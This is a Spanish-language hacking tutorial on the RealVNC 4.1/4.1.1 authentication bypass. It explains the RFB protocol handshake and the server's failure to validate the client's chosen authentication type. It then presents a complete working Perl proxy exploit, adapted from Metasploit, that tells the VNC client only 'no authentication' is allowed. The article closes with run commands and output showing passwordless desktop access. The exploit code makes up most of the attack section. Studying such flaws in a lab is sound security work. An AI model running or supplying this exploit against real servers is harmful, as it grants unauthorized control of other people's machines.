VNC auth. bypass

Bienvenidos una vez más amigos, en este artículo hablaremos de un bug que se hizo público el año pasado durante el mes de Mayo. El bug ataca a un servidor VNC muy extendido. Aunque por suerte ya ha salido el parche, muchos son los que aun no han actualizado, así que vamos a verlo un poco más en profundidad.

Qué es VNC ?

VNC Virtual Network Computing es un sistema para compartir escritorio remotamente para poder así controlar un host. Por lo tanto es una aplicación cliente-servidor. Para la comunicación se utiliza el protocolo RFB ( Remote Frame Buffer ). Además un mismo servidor puede servir tanto para clientes Windows como Linux, y lo mismo ocurre a la inversa. Normalmente el servidor utiliza el puerto 5900.
Ese es un pequeño resumen de lo que nos aparece al buscar "VNC" en la wikipedia. Espero que haya quedado claro en que consiste. Se puede suponer que esta aplicación es usada generalmente por administradores para solventar problemas en sistemas de clientes u operarios sin necesidad de desplazarse al lugar físicamente. De hecho es como si el “admin” estuviera justo en frente del Ordenador, ya que comparte sesión con el usuario actualmente logeado.

El servidor VNC más extendido es el "RealVNC", del cual podemos encontrar varias versiones, algunas gratuitas y otras de pago, más información sobre el servidor en:
http://www.realvnc.com/
Para poder entender el bug que se descubrió en dicho servidor, debemos entender primero el protocolo que se usa, o por lo menos la parte inicial de handshake en donde se negocia el tipo de autenticación.

Protocolo RFB

El inicio de la comunicación entre servidor y cliente es algo realmente simple cuando hablamos de este protocolo. Los pasos pueden verse en el diagrama1. Vamos a dividir ese esquema en 3 partes, la primera es la negociación de la versión del protocolo a utilizar, luego vendría la negociación de la autenticación y finalmente la comunicación bidireccional. Veamos a continuación una explicación algo más detallada de lo que ocurre:

DIAGRAMA 1

Primer Fase ( Negociación del protocolo )

Cuando el cliente conecta al servidor, este le envía una cadena de 12 bytes con el último protocolo que soporta. Por ejemplo:
RFB 003.008\n
Que significa versión 3.8. Éste corresponde al paso 1 del diagrama, luego el cliente le envía al servidor otra cadena de 12 bytes con el protocolo más alto que éste soporta, por ejemplo:
RFB 003.008\n
Desde este momento se utiliza el protocolo más bajo de entre los dos que se han enviado. Como en este caso es el 3.8, se utilizaría este.

Segunda Fase (Negociación de la autenticación)

Una vez se tiene claro el protocolo se empieza la fase de negociación de autenticación. La secuencia de datos que se intercambia varía según la versión de protocolo que se utiliza. Vamos a suponer que se trata de la versión 3.8 por ser la última y la que contiene el bug en el servidor.

En esta fase el servidor envía una serie de bytes con la siguiente estructura:

  • 1 byte diciendo el número de autenticaciones que soporta.
  • N bytes como array de esas autenticaciones.
En el listado1 podemos ver una lista con las autenticaciones soportadas por los servidores. Un ejemplo de cadena enviada podría ser:
0x020312

LISTADO 1


Num.	Nombre
0	Invalida ( Ha ocurrido algún error )
1	None ( Sin autenticación )
2	Autentificación VNC
3	RA2
4	RA2ne
16	Tight
17	Ultra
18	TLS
19	VeNCrypt
Esta cadena significa que se aceptan dos tipos: RA2 y TLS. Una vez el cliente recibe esta cadena, elige una de las opciones y la devuelve al servidor:
0x12
En esta ocasión se ha elegido: TLS. Después de esto nos aparecerá ventana para poner el password y empezar así la tercera y última fase, el traspaso de información propiamente.

Tercera Fase ( Comunicación Bidireccional )

Ahora que ya se han autenticado correctamente, puede empezar la conexión al escritorio remoto. Se nos abrirá una ventana con el otro sistema y podremos ver todo lo que hace el que esté usando dicha máquina. Al mismo tiempo se sincronizan ratón y teclado con lo que si movemos el ratón o escribimos algo, aparecerá reflejado en el host servidor. Dicho de otra manera, estamos compartiendo el sistema e incluso la sesión.

El Bug

Vamos ahora a la parte interesante de todo esto. Resulta que en la versión 4.1 y 4.1.1 del servidor RealVNC hay un pequeño descuido de programación que deriva en un gran fallo de seguridad que permite a un atacante conectarse al servidor sin requerir contraseña. Veamos un poco más detalladamente el asunto.

Primero decir que todo lo que se comenta a continuación funciona exclusivamente con esas versiones y con las versión 3.8 del protocolo.

Todo se lleva a cabo durante la segunda fase, la de autenticación. El fallo radica en el hecho que el servidor no comprueba que el método de autenticación que le envía el cliente este dentro de la lista mandada anteriormente. Siendo así, el cliente puede elegir el método que le venga en gana. Si echamos otra ojeada al listado1 donde aparecen los métodos soportados, veremos uno que se distingue de los demás, si amigo... el 01, sin autenticación, es decir, sin pedir password.

Desarrollando el exploit

Pensemos cómo aprovechar este fallo para nuestro provecho. Como ya se ha comentado, debemos conseguir que el cliente se conecte utilizando el método nulo, sin utilizar autenticación, pero claro, éste está programado para escoger de entre los que le envía el servidor...

Para poder arreglar esto tenemos dos opciones, la primera más costosa y laboriosa sería implementar nuestro propio cliente VNC que ignore los métodos proporcionados por el servidor. Pero eso no vale la pena para nuestro propósito, sería mucha tarea añadida y totalmente innecesaria.

La segunda opción, y la que explicaré a continuación, corresponde a la realización de un proxy que se encargue de manipular el mensaje del servidor para que el cliente crea que sólo acepta la autenticación NULA, siendo así bastará seguir redireccionando el trafico directamente de manera transparente para conseguir una comunicación bidireccional satisfactoria. Así es como lo hace el exploit que lleva incorporado "Metasploit" (http://www.metasploit.com), de hecho todo lo que se comentará a continuación está orientado a ese exploit. Sólo que lo adaptaremos para que sea independiente del metasploit.

Para poder realizar correctamente las pruebas necesarias, lo idóneo sería tener un sistema operativo Windows a mano con el servidor vulnerable instalado. A continuación vamos a preparar nuestra red de prueba.

Metasploit SITE


Preparando el sistema

Primero de todo necesitamos un Windows funcional y conectado a la red. Aunque el servidor también puede ejecutarse bajo Linux, al ser para usar un escritorio remoto, parece más normal que se use en servidores Windows, ya que en Linux tenemos por ejemplo el SSH, que nos permite un control absoluto sobre el sistema gracias a la potente shell que Linux lleva incorporada.

Para los que no tengáis dos máquinas, podéis instalar Windows en una máquina virtual utilizando las herramientas Qemu o VMWare. Ambas nos crean unidades virtuales para instalar el sistema operativo que nos venga en gana, aunque yo recomiendo Qemu por ser libre i gratuito para todo el mundo, siempre se debe utilizar junto con el módulo del kernel "KQemu" para su funcionamiento óptimo. En google hay información de como realizar todos los pasos, jaja. Hay que leer amigos!

Ahora que ya tenemos nuestro Windows instalado correctamente y conectado a nuestra misma red, ya podemos proceder a la instalación del servidor vulnerable. Debido a este fallo precisamente en la web oficial no se permite descargar esta versión. Así que buscando en google, lo primero que apareció fue:
http://www.filehippo.com/download_realvnc/?998
En la parte derecha de la web que nos aparece vemos un enlace llamado "Download This Version", basta con bajarla e instalarla. Luego la configuramos un poco haciendo cuatro clicks, poniéndole por ejemplo un password: "arroba". Muy bien, ya tenemos el servidor listo, vamos a conectar de manera normal para asegurarnos que funciona. Así que lo primero será instalar el cliente, en Gentoo el cliente viene con el paquete "vnc" y el ejecutable se llama "vncviewer". Así que un simple "emerge vnc" bastará. A las malas siempre podemos bajarlo de la web oficial: "www.realvnc.com". No hace falta decir que el cliente también está en Windows.

Ahora que ya está el cliente en nuestro sistema, vamos a probar de conectar con el servidor simplemente ejecutando la siguiente sentencia:
$ vncviewer <ip_host>
Y nos aparecerá algo parecido a lo que vemos en la imagen1, es decir, una ventana para poner nuestro password. Perfecto pues, ya está todo en su sitio, llegó la hora de implementar el exploit.

IMAGEN 1


Implementación

Para tener aun más claro el exploit que queremos realizar, sólo debemos mirar el digrama2 donde se puede observar de manera visual toda la tarea que debe realizarse y los mensajes que llegarán entre los extremos.

Como se puede observar en el esquema, el paquete de la autenticación ha sido manipulado para engañar al cliente. Para implementar todo esto hay varias maneras de hacerlo. Pero como se ha dicho ya, este artículo esta orientado al exploit del metasploit con lo que usaremos Perl.

Primero pensemos la estructura del programa, este debe realizar la función de proxy tal y como se observa en el diagrama2.

DIAGRAMA 2


Empezaremos abriendo un socket a la escucha en algún puerto, por ejemplo 5900 ( para que sea el mismo que el de la vnc ). Esperaremos a que conecte el cliente y entonces nosotros le conectaremos directamente con el servidor víctima. Después de establecer la conexión empezaremos a pasar los datos de un extremo al otro y en el momento oportuno haremos el pequeño cambio para engañar al servidor. Así que los módulos que vamos a necesitar son los siguientes:
use IO::Socket;
Ahora ya podremos usar sockets. En el listado2 podéis ver la función encargada de abrir el puerto 5900 y ponerlo a la espera de conexiones, todo el código que aparecerá forma parte del exploit de metasploit.

LISTADO 2

sub Exploit
{
   my $rhost = shift;

   # Abrimos el puerto
   my $server = IO::Socket::INET->new(
                     LocalHost => "0.0.0.0",
                     LocalPort => 5900,
                     ReuseAddr => 1,
                     Listen    => 1,
                     Proto     => 'tcp');
   my $client;

   # Por si ha fallado la creación del servidor
   if (not defined($server))
   {
      print "[-] Failed to create local VNC listener on localhost\n";
      return;
   }

   print "[*] Waiting for VNC connections to localhost...\n";

	# Se mantiene a la espera conexiones nuevas
   while (defined($client = $server->accept()))
   {
   	HandleVNCClient(fd => $client, host => $rhost);
   }

   return;
}
A esa función se la llama pasándole la IP destino como único parámetro:
Exploit("<número IP>")
Cuando algún cliente se conecta al puerto, la función HandleVNCClient es llamada por Exploit, pasándole como argumentos la conexión del cliente ( $client ) y el host víctima ( $rhost ). Veamos a continuación el código de dicha función ( ver listado3 ).

LISTADO 3

sub HandleVNCClient
{
   my ($fd) = @{{@_}}{qw/fd/};
   my $rhost = @{{@_}}{qw/host/};;
   my $rport;

   ######################
   #	FASE 1       #
   ######################

   # Conectamos al host víctima
   $rport = 5900;
   print "[*] Handling connection....\n";
   my $s = IO::Socket::INET->new(
      'PeerAddr' => $rhost,
      'PeerPort' => 5900,
      'Timeout'  => 5,
      'Proto'    => "tcp"
   );

   # Por si no se ha podido conectar
   if (! $s) {
      print "[*] Could not connect to the target VNC service.\n";
      close($fd);
      return;
   }
   my $res;

   # El servidor nos envia su versión de protocolo
   recv($s,$res,12,0);
   print "[*] SRV: $res";

   # Comprovamos que la versión del protocolo es la vulnerable
   if ($res !~ /^RFB 003\.008/) {
      print "[*] The remote VNC service is probably not vulnerable\n";
   }

   # Se la devolvemos al cliente
   send($fd,$res,0);

   # Recibimos la versión del cliente
   recv($fd,$res,12,0);
   print "[*] CLI: $res";

   if ($res !~ /^RFB /) {
      print "[*] The local VNC client appears to be broken\n";
      close($fd);
      close($s);
      return;
   }

   # Se la enviamos al servidor
   send($s,$res,0);

   ######################
   #   FASE 2       #
   ######################

   # Leemos los métodos de autenticación del servidor
   # como ya hemos dicho, no sirven de nada, jeje
   recv($s,$res,256,0);
   print "[*] Received Auth. Sentence\n";
   print "[*] Sending fake sentence to client...\n";

   # Engañamos al cliente diciendole que sólo se acepta la
   # autenticación NULA.
   send($fd,"\x01\x01",2,0);


   ######################
   #   FASE 3       #
   ######################

   # Creamos un hilo independiente para tratar esta conexión y
   # poder seguir sirviendo de servidor para otras nuevas.
   if (! fork()) {
      print "[*] Proxying data between the connections...\n";
      # Función Proxy ( servidor, cliente )
      VNCProxy($s, $fd);
      exit(0);
   }
   return;
}
Ésta es la función más importante de todas, de hecho se trata del exploit propiamente dicho. En el código vemos las tres fases de la autenticación perfectamente diferenciadas. Además se han añadido comentarios para facilitar la compresión. Espero que no haya problemas para eso. Pero por si acaso voy a resaltar la parte más importante:
send($fd,"\x01\x01",2,0);
Esa es la sentencia exacta. A partir del momento que el cliente recibe esto, la función Proxy ya puede hacer comunicación extremo a extremo de manera transparente. En el listado4 vemos un ejemplo de función proxy perteneciente al exploit de metasploit ( como todo el código del artículo), sólo que algo modificada para facilitar su lectura. Esa función sólo se dedica a enviar al cliente todo lo que le llega del servidor y viceversa.

LISTADO 4

sub VNCProxy {

   # Asignación de los dos sockets
   my $srv = shift;
   my $cli = shift;

   # Configuración de los sockets
   foreach ($srv,$cli) {
      $_->blocking(1);
      $_->autoflush(1);
   }

   # Creación de un selector para gestionar
   # la comunicación
   my $selector = IO::Select->new($srv, $cli);

   print "[*] Starting main proxy loop \n";
   while(1){

      # Cada vez que llega un paquete
      # se comprueba si llega del servidor
      # o del cliente y se envia al otro
      # extremo.

      my @ready = $selector->can_read;
      foreach my $ready (@ready){
         # Servidor
         if( $ready == $srv ){
            my $data;
            recv($srv,$data,8192,0);
            send($cli,$data,0);
         }
         # Cliente
         elsif( $ready == $cli ){
            my $data;
            recv($cli,$data,8192,0);
            send($srv,$data,0);
         }
      }
   }
}
Ahora que ya tenemos las funciones importantes, veamos que tal funciona el exploit, volvamos a intentar conectarnos a nuestro servidor VNC en el windows. Ah, se me olvidaba, para llamar al exploit se utiliza la siguiente sentencia:
$ perl realvnc_41_bypass.pl <IP>
Ahora probemos a ver que tal funciona... Al ejecutar nos aparece el siguiente mensaje:
$ perl realvnc_41_bypass.pl 172.16.33.3
[*] Waiting for VNC connections to localhost...
Perfecto, ahora sólo debemos lanzar el cliente para que conecte a nuestro puerto abierto:
$ vnviewer localhost
Justo después de ejecutarlo vemos como el exploit empieza a trabajar:
$ perl realvnc_41_bypass.pl 172.16.33.3
[*] Waiting for VNC connections to localhost...
[*] Handling connection....
[*] SRV: RFB 003.008
[*] CLI: RFB 003.008
[*] Received Auth. Sentence
[*] Sending fake sentence to client...
[*] Proxying data between the connections...
[*] Starting main proxy loop
Finalmente nos aparece la ventana con el fondo de escritorio, pero esta vez sin pedir ningún tipo de password ( ver imagen2 ). Ya lo hemos conseguido, tenemos acceso al sistema del administrador utilizando un exploit que, aunque no sea nuestro, lo entendemos 100% así que también es válido :).

IMAGEN 2


Conclusiones

Hasta aquí el artículo sobre el bug de VNC, espero que os haya gustado. Debido al uso extendido del servidor vulnerable, en el momento de su aparición este bug llevo de cabeza a algún que otro admin, por suerte la versión 4.1.2 salió al poco tiempo, y actualmente ya van por la 4.2. Así que no temáis, es seguro utilizar este tipo de servidores para vuestra comodidad, de momento....

EOF